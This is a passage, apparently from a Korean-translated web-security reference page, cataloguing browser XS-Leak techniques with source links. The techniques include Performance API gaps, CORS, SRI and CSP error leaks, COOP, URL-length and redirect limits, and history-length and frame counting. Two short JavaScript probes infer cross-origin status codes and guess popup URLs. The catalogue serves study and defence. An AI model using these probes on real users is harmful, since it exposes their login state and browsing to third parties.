### Style Reload Error

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Status Code
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** 브라우저 버그로 인해 오류가 발생하는 요청이 두 번 로드됩니다.
* **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)

이전 기술에서는 GC의 브라우저 버그로 인해 **로드에 실패한 리소스가 두 번 로드되는** 두 가지 경우가 확인되었습니다. 이로 인해 Performance API에 여러 항목이 생성되며, 따라서 이를 감지할 수 있습니다.

### Request Merging Error

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Status Code
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** 오류가 발생하는 요청은 병합될 수 없습니다.
* **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

이 기술은 언급된 논문의 표에서 발견되었지만, 기술에 대한 설명은 발견되지 않았습니다. 그러나 [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)에서 이를 확인할 수 있는 소스 코드를 찾을 수 있습니다.

### Empty Page Leak

* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** 빈 응답은 리소스 타이밍 항목을 생성하지 않습니다.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)

공격자는 요청이 빈 HTTP 응답 본체로 이어졌는지 감지할 수 있습니다. **빈 페이지는 일부 브라우저에서 성능 항목을 생성하지 않습니다**.

### **XSS-Auditor Leak**

* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** 보안 주장에서 XSS 감사기를 사용하여, 공격자는 조작된 페이로드가 감사기의 필터링 메커니즘을 트리거할 때 응답의 변화를 관찰하여 특정 웹 페이지 요소를 감지할 수 있습니다.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)

보안 주장(SA)에서 XSS 감사기는 원래 교차 사이트 스크립팅(XSS) 공격을 방지하기 위해 설계되었지만, 역설적으로 민감한 정보를 유출하는 데 악용될 수 있습니다. 이 내장 기능은 Google Chrome(GC)에서 제거되었지만, SA에서는 여전히 존재합니다. 2013년 Braun과 Heiderich는 XSS 감사기가 정당한 스크립트를 우연히 차단하여 잘못된 긍정을 초래할 수 있음을 보여주었습니다. 이를 바탕으로 연구자들은 정보를 추출하고 교차 출처 페이지에서 특정 콘텐츠를 감지하는 기술을 개발했습니다. 이 개념은 XS-Leaks로 알려져 있으며, Terada에 의해 처음 보고되고 Heyes의 블로그 게시물에서 자세히 설명되었습니다. 이러한 기술은 GC의 XSS 감사기에 특정했지만, SA에서는 XSS 감사기에 의해 차단된 페이지가 Performance API에 항목을 생성하지 않으므로 민감한 정보가 여전히 유출될 수 있는 방법이 밝혀졌습니다.

### X-Frame Leak

* **Inclusion Methods**: Frames
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
* **Summary:** X-Frame-Options 헤더가 있는 리소스는 리소스 타이밍 항목을 생성하지 않습니다.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)

페이지가 **iframe**에서 **렌더링**되는 것이 **허용되지 않는 경우**, 성능 항목을 **생성하지 않습니다**. 결과적으로 공격자는 응답 헤더 **`X-Frame-Options`**를 감지할 수 있습니다.\
**embed** **태그**를 사용할 때도 마찬가지입니다.

### Download Detection

* **Inclusion Methods**: Frames
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** 다운로드는 Performance API에서 리소스 타이밍 항목을 생성하지 않습니다.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)

설명된 XS-Leak와 유사하게, **ContentDisposition** 헤더로 인해 **다운로드되는 리소스**도 **성능 항목을 생성하지 않습니다**. 이 기술은 모든 주요 브라우저에서 작동합니다.

### Redirect Start Leak

* **Inclusion Methods**: Frames
* **Detectable Difference**: Redirect
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** 리소스 타이밍 항목은 리디렉션의 시작 시간을 유출합니다.
* **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)

일부 브라우저가 교차 출처 요청에 대해 너무 많은 정보를 기록하는 동작을 악용하는 XS-Leak 인스턴스를 발견했습니다. 표준은 교차 출처 리소스에 대해 설정해야 하는 속성의 하위 집합을 정의합니다. 그러나 **SA**에서는 사용자가 대상 페이지에 의해 **리디렉션**되었는지 감지할 수 있습니다. **Performance API**를 쿼리하고 **redirectStart 타이밍 데이터**를 확인하여 가능합니다.

### Duration Redirect Leak

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Redirect
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** 리디렉션이 발생할 때 타이밍 항목의 지속 시간이 음수입니다.
* **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)

GC에서 **리디렉션**이 발생하는 요청의 **지속 시간**은 **음수**이며, 따라서 리디렉션이 발생하지 않는 요청과 **구별**될 수 있습니다.

### CORP Leak

* **Inclusion Methods**: Frames
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** CORP로 보호된 리소스는 리소스 타이밍 항목을 생성하지 않습니다.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)

일부 경우, **nextHopProtocol 항목**을 유출 기술로 사용할 수 있습니다. GC에서 **CORP 헤더**가 설정되면 nextHopProtocol은 **비어 있습니다**. SA는 CORP가 활성화된 리소스에 대해 성능 항목을 전혀 생성하지 않습니다.

### Service Worker

* **Inclusion Methods**: Frames
* **Detectable Difference**: API Usage
* **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
* **Summary:** 특정 출처에 대해 서비스 워커가 등록되어 있는지 감지합니다.
* **Code Example**:

서비스 워커는 출처에서 실행되는 이벤트 기반 스크립트 컨텍스트입니다. 이들은 웹 페이지의 백그라운드에서 실행되며, 리소스를 가로채고 수정하며 **오프라인 웹 애플리케이션**을 만들기 위해 리소스를 캐시할 수 있습니다.\
**서비스 워커**에 의해 **캐시된 리소스**가 **iframe**을 통해 접근되면, 리소스는 **서비스 워커 캐시**에서 **로드됩니다**.\
리소스가 **서비스 워커** 캐시에서 **로드되었는지 감지하기 위해 Performance API를 사용할 수 있습니다.\
이것은 타이밍 공격으로도 수행할 수 있습니다(자세한 내용은 논문을 확인하세요).

### Cache

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Timing
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
* **Summary:** 리소스가 캐시에 저장되었는지 확인할 수 있습니다.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))

[Performance API](xs-search.md#performance-api)를 사용하여 리소스가 캐시되었는지 확인할 수 있습니다.

### Network Duration

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
* **Summary:** `performance` API에서 요청의 네트워크 지속 시간을 검색할 수 있습니다.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)

## Error Messages Technique

### Media Error

* **Inclusion Methods**: HTML Elements (Video, Audio)
* **Detectable Difference**: Status Code
* **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
* **Summary:** Firefox에서는 교차 출처 요청의 상태 코드를 정확하게 유출할 수 있습니다.
* **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
```
The `MediaError` 인터페이스의 message 속성은 성공적으로 로드된 리소스를 고유하게 식별하는 독특한 문자열을 제공합니다. 공격자는 이 기능을 악용하여 메시지 내용을 관찰함으로써 교차 출처 리소스의 응답 상태를 추론할 수 있습니다.

### CORS 오류

* **포함 방법**: Fetch API
* **감지 가능한 차이**: 헤더
* **자세한 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **요약:** 보안 주장(SA)에서 CORS 오류 메시지는 우연히 리디렉션된 요청의 전체 URL을 노출합니다.
* **코드 예제**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

이 기술은 공격자가 **교차 출처 사이트의 리디렉션 목적지를 추출**할 수 있게 해줍니다. 이는 Webkit 기반 브라우저가 CORS 요청을 처리하는 방식을 악용하는 것입니다. 구체적으로, **CORS가 활성화된 요청**이 사용자 상태에 따라 리디렉션을 발행하는 대상 사이트에 전송되고 브라우저가 요청을 거부하면, **리디렉션의 대상 URL 전체**가 오류 메시지 내에 노출됩니다. 이 취약점은 리디렉션의 사실을 드러낼 뿐만 아니라 리디렉션의 엔드포인트와 포함될 수 있는 **민감한 쿼리 매개변수**를 노출합니다.

### SRI 오류

* **포함 방법**: Fetch API
* **감지 가능한 차이**: 헤더
* **자세한 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **요약:** 보안 주장(SA)에서 CORS 오류 메시지는 우연히 리디렉션된 요청의 전체 URL을 노출합니다.
* **코드 예제**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

공격자는 **상세 오류 메시지**를 악용하여 교차 출처 응답의 크기를 추론할 수 있습니다. 이는 Subresource Integrity(SRI) 메커니즘 덕분에 가능하며, SRI는 가져온 리소스가 변조되지 않았는지 확인하기 위해 무결성 속성을 사용합니다. 교차 출처 리소스에서 SRI가 작동하려면 **CORS가 활성화되어야** 하며, 그렇지 않으면 무결성 검사를 받지 않습니다. 보안 주장(SA)에서 CORS 오류 XS-Leak와 마찬가지로, 무결성 속성이 있는 fetch 요청이 실패한 후 오류 메시지를 캡처할 수 있습니다. 공격자는 **잘못된 해시 값**을 무결성 속성에 할당하여 이 오류를 의도적으로 **유발**할 수 있습니다. SA에서 결과 오류 메시지는 요청된 리소스의 콘텐츠 길이를 우연히 드러냅니다. 이 정보 유출은 공격자가 응답 크기의 변화를 식별할 수 있게 하여 정교한 XS-Leak 공격의 길을 열어줍니다.

### CSP 위반/감지

* **포함 방법**: 팝업
* **감지 가능한 차이**: 상태 코드
* **자세한 정보**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **요약:** CSP에서 피해자의 웹사이트만 허용할 경우, 다른 도메인으로 리디렉션을 시도하면 CSP가 감지 가능한 오류를 발생시킵니다.
* **코드 예제**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

XS-Leak는 CSP를 사용하여 교차 출처 사이트가 다른 출처로 리디렉션되었는지 감지할 수 있습니다. 이 유출은 리디렉션을 감지할 수 있을 뿐만 아니라 리디렉션 대상의 도메인도 유출됩니다. 이 공격의 기본 아이디어는 **공격자 사이트에서 대상 도메인을 허용하는 것**입니다. 대상 도메인에 요청이 발행되면 **리디렉션**이 교차 출처 도메인으로 발생합니다. **CSP는** 이에 대한 접근을 차단하고 **유출 기법으로 사용되는 위반 보고서를 생성합니다**. 브라우저에 따라 **이 보고서는 리디렉션의 대상 위치를 유출할 수 있습니다**.\
현대 브라우저는 리디렉션된 URL을 표시하지 않지만, 여전히 교차 출처 리디렉션이 발생했음을 감지할 수 있습니다.

### 캐시

* **포함 방법**: 프레임, 팝업
* **감지 가능한 차이**: 페이지 콘텐츠
* **자세한 정보**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **요약:** 파일을 캐시에서 지웁니다. 대상 페이지를 열어 파일이 캐시에 있는지 확인합니다.
* **코드 예제:**

브라우저는 모든 웹사이트에 대해 하나의 공유 캐시를 사용할 수 있습니다. 출처에 관계없이 특정 파일이 **요청되었는지** 추론할 수 있습니다.

사용자가 로그인한 경우에만 이미지를 로드하는 페이지가 있는 경우, **리소스를 무효화**(캐시에서 더 이상 캐시되지 않도록, 자세한 정보 링크 참조)하고, 해당 리소스를 로드할 수 있는 **요청을 수행**하고 **잘못된 요청으로 리소스를 로드하려고 시도**합니다(예: 너무 긴 referer 헤더를 사용). 리소스 로드가 **오류를 유발하지 않았다면**, 이는 **캐시되었기 때문**입니다.

### CSP 지시문

* **포함 방법**: 프레임
* **감지 가능한 차이**: 헤더
* **자세한 정보**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **요약:** CSP 헤더 지시문은 CSP iframe 속성을 사용하여 조사할 수 있으며, 정책 세부정보를 드러냅니다.
* **코드 예제**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)

Google Chrome(GC)의 새로운 기능은 웹 페이지가 iframe 요소에 속성을 설정하여 **콘텐츠 보안 정책(CSP)**를 제안할 수 있게 하며, 정책 지시문은 HTTP 요청과 함께 전송됩니다. 일반적으로, 포함된 콘텐츠는 **HTTP 헤더를 통해 이를 승인해야** 하며, 그렇지 않으면 **오류 페이지가 표시됩니다**. 그러나 iframe이 이미 CSP에 의해 관리되고 새로 제안된 정책이 더 제한적이지 않으면 페이지는 정상적으로 로드됩니다. 이 메커니즘은 공격자가 오류 페이지를 식별하여 교차 출처 페이지의 **특정 CSP 지시문**을 감지할 수 있는 경로를 열어줍니다. 이 취약점은 수정된 것으로 표시되었지만, 우리의 발견은 오류 페이지를 감지할 수 있는 **새로운 유출 기법**을 드러내며, 근본적인 문제가 완전히 해결되지 않았음을 시사합니다.

### **CORP**

* **포함 방법**: Fetch API
* **감지 가능한 차이**: 헤더
* **자세한 정보**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **요약:** 교차 출처 리소스 정책(CORP)으로 보호된 리소스는 허용되지 않는 출처에서 가져올 때 오류를 발생시킵니다.
* **코드 예제**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)

CORP 헤더는 상대적으로 새로운 웹 플랫폼 보안 기능으로, 설정되면 **주어진 리소스에 대한 no-cors 교차 출처 요청을 차단합니다**. 헤더의 존재는 감지할 수 있으며, CORP로 보호된 리소스는 **가져올 때 오류를 발생시킵니다**.

### CORB

* **포함 방법**: HTML 요소
* **감지 가능한 차이**: 헤더
* **자세한 정보**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **요약**: CORB는 공격자가 **요청에 `nosniff` 헤더가 존재하는지** 감지할 수 있게 합니다.
* **코드 예제**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

공격에 대한 자세한 정보는 링크를 확인하세요.

### 출처 반영 잘못된 구성에서의 CORS 오류 <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

* **포함 방법**: Fetch API
* **감지 가능한 차이**: 헤더
* **자세한 정보**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **요약**: Origin 헤더가 `Access-Control-Allow-Origin` 헤더에 반영되면 리소스가 이미 캐시에 있는지 확인할 수 있습니다.
* **코드 예제**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

**Origin 헤더**가 `Access-Control-Allow-Origin` 헤더에 **반영**되는 경우, 공격자는 이 동작을 악용하여 **CORS** 모드에서 **리소스를 가져오려고 시도**할 수 있습니다. **오류**가 **발생하지 않으면**, 이는 **웹에서 올바르게 검색되었음을 의미**하며, 오류가 **발생하면**, 이는 **캐시에서 접근되었기 때문**입니다(오류는 캐시가 원래 도메인을 허용하는 CORS 헤더가 있는 응답을 저장하기 때문에 발생합니다).\
출처가 반영되지 않고 와일드카드가 사용되는 경우(`Access-Control-Allow-Origin: *`), 이는 작동하지 않습니다.

## 읽을 수 있는 속성 기술

### Fetch 리디렉션

* **포함 방법**: Fetch API
* **감지 가능한 차이**: 상태 코드
* **자세한 정보**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **요약:** GC와 SA는 리디렉션이 완료된 후 응답의 유형(opaque-redirect)을 확인할 수 있습니다.
* **코드 예제**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

`redirect: "manual"` 및 기타 매개변수를 사용하여 Fetch API를 통해 요청을 제출하면, `response.type` 속성을 읽을 수 있으며, 이 값이 `opaqueredirect`와 같으면 응답이 리디렉션이었습니다.

### COOP

* **포함 방법**: 팝업
* **감지 가능한 차이**: 헤더
* **자세한 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **요약:** 교차 출처 오프너 정책(COOP)으로 보호된 페이지는 교차 출처 상호작용으로부터의 접근을 차단합니다.
* **코드 예제**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

공격자는 교차 출처 HTTP 응답에서 교차 출처 오프너 정책(COOP) 헤더의 존재를 추론할 수 있습니다. COOP는 웹 애플리케이션이 외부 사이트가 임의의 창 참조를 얻지 못하도록 방지하는 데 사용됩니다. 이 헤더의 가시성은 **`contentWindow` 참조에 접근하려고 시도함으로써 감지할 수 있습니다**. COOP가 조건부로 적용되는 경우, **`opener` 속성**은 결정적인 지표가 됩니다: COOP가 활성화되면 **정의되지 않으며**, 비활성화되면 **정의됩니다**.

### URL 최대 길이 - 서버 측

* **포함 방법**: Fetch API, HTML 요소
* **감지 가능한 차이**: 상태 코드 / 콘텐츠
* **자세한 정보**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **요약:** 리디렉션 응답 길이로 인해 응답의 차이를 감지할 수 있습니다. 너무 길면 서버가 오류로 응답하고 경고가 생성됩니다.
* **코드 예제**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

서버 측 리디렉션이 **리디렉션 내에서 사용자 입력을 사용하고** **추가 데이터**를 포함하는 경우, 이 동작을 감지할 수 있습니다. 일반적으로 **서버**는 **요청 길이 제한**이 있습니다. **사용자 데이터**가 **길이 - 1**인 경우, **리디렉션**이 **해당 데이터**를 사용하고 **추가**하는 경우, **오류가 발생하여 오류 이벤트를 통해 감지할 수 있습니다**.

사용자에게 쿠키를 설정할 수 있는 경우, **충분한 쿠키를 설정하여** 이 공격을 수행할 수 있습니다([**쿠키 폭탄**](hacking-with-cookies/cookie-bomb.md)). 이 경우, **정상 응답의 크기 증가**로 인해 **오류**가 발생합니다. 이 요청을 동일한 사이트에서 트리거하면 `<script>`가 자동으로 쿠키를 전송하므로 **오류를 확인할 수 있습니다**.\
**쿠키 폭탄 + XS-Search**의 예는 이 문서의 의도된 솔루션에서 찾을 수 있습니다: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

`SameSite=None` 또는 동일한 컨텍스트에 있어야 이 유형의 공격이 일반적으로 필요합니다.

### URL 최대 길이 - 클라이언트 측

* **포함 방법**: 팝업
* **감지 가능한 차이**: 상태 코드 / 콘텐츠
* **자세한 정보**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **요약:** 리디렉션 응답 길이로 인해 응답의 차이를 감지할 수 있습니다. 요청이 너무 길면 차이를 감지할 수 있습니다.
* **코드 예제**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)

[Chromium 문서](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length)에 따르면, Chrome의 최대 URL 길이는 2MB입니다.

> 일반적으로, _웹 플랫폼_은 URL 길이에 대한 제한이 없습니다(2^31이 일반적인 제한이지만). _Chrome_은 실용적인 이유로 URL을 최대 **2MB**로 제한하며, 프로세스 간 통신에서 서비스 거부 문제를 피하기 위해서입니다.

따라서 **리디렉션 URL이 한 경우에 더 크다면**, **2MB보다 큰 URL로 리디렉션**하여 **길이 제한**에 도달할 수 있습니다. 이 경우, Chrome은 **`about:blank#blocked`** 페이지를 표시합니다.

**눈에 띄는 차이점**은 **리디렉션**이 **완료되었다면**, `window.origin`이 **오류를 발생시키는 것**입니다. 교차 출처는 해당 정보를 접근할 수 없습니다. 그러나 **제한**이 **초과**되고 로드된 페이지가 **`about:blank#blocked`**인 경우, 창의 **`origin`**은 **부모**의 것이며, 이는 **접근 가능한 정보입니다.**

**2MB**에 도달하기 위해 필요한 모든 추가 정보는 초기 URL에 **해시**를 추가하여 **리디렉션에 사용될 수 있습니다**.

{% content-ref url="xs-search/url-max-length-client-side.md" %}
[url-max-length-client-side.md](xs-search/url-max-length-client-side.md)
{% endcontent-ref %}

### 최대 리디렉션

* **포함 방법**: Fetch API, 프레임
* **감지 가능한 차이**: 상태 코드
* **자세한 정보**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
* **요약:** 브라우저의 리디렉션 제한을 사용하여 URL 리디렉션의 발생 여부를 확인합니다.
* **코드 예제**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)

브라우저의 **최대** 리디렉션 수가 **20**인 경우, 공격자는 **19개의 리디렉션**으로 자신의 페이지를 로드하려고 시도하고 마지막에 **피해자를 테스트된 페이지로 보냅니다**. **오류**가 발생하면, 페이지가 피해자를 **리디렉션하려고 시도한 것입니다**.

### 히스토리 길이

* **포함 방법**: 프레임, 팝업
* **감지 가능한 차이**: 리디렉션
* **자세한 정보**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
* **요약:** JavaScript 코드는 브라우저 히스토리를 조작할 수 있으며, 길이 속성으로 접근할 수 있습니다.
* **코드 예제**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)

**History API**는 JavaScript 코드가 브라우저 히스토리를 조작할 수 있게 하며, 이는 **사용자가 방문한 페이지를 저장합니다**. 공격자는 길이 속성을 포함 방법으로 사용할 수 있습니다: JavaScript 및 HTML 탐색을 감지하기 위해.\
**`history.length`**를 확인하고, 사용자가 **페이지로 탐색**하게 한 후, **다시** 동일 출처로 **변경**하고 **`history.length`**의 새 값을 확인합니다.

### 동일 URL로 히스토리 길이

* **포함 방법**: 프레임, 팝업
* **감지 가능한 차이**: URL이 추측한 것과 동일한 경우
* **요약:** 히스토리 길이를 악용하여 프레임/팝업의 위치가 특정 URL에 있는지 추측할 수 있습니다.
* **코드 예제**: 아래

공격자는 JavaScript 코드를 사용하여 **프레임/팝업 위치를 추측한 URL로 조작하고** **즉시** **`about:blank`**로 변경할 수 있습니다. 히스토리 길이가 증가하면 URL이 올바르며 **증가할 시간이 있었음을 의미**합니다. URL이 동일하면 다시 로드되지 않기 때문입니다. 증가하지 않았다면 **추측한 URL을 로드하려고 시도했지만**, **즉시 후에** **`about:blank`**를 로드했기 때문에 **히스토리 길이가 증가하지 않았습니다**.
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
```
### Frame Counting

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **Summary:** `window.length` 속성을 검사하여 iframe 요소의 수를 평가합니다.
* **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)

`iframe` 또는 `window.open`을 통해 열린 **웹의 프레임 수**를 세는 것은 **사용자의 상태를 식별하는 데 도움이 될 수 있습니다**.\
게다가, 페이지에 항상 동일한 수의 프레임이 있다면, 프레임 수를 **지속적으로** 확인하는 것은 정보를 유출할 수 있는 **패턴**을 식별하는 데 도움이 될 수 있습니다.

이 기술의 예로, 크롬에서는 **PDF**가 **프레임 카운팅**으로 **감지될 수 있습니다**. 내부적으로 `embed`가 사용되기 때문입니다. 이 기술이 흥미로울 수 있는 `zoom`, `view`, `page`, `toolbar`와 같은 콘텐츠에 대한 일부 제어를 허용하는 [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113)가 있습니다.

### HTMLElements

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
* **Summary:** 2개의 가능한 상태를 구별하기 위해 유출된 값을 읽습니다.
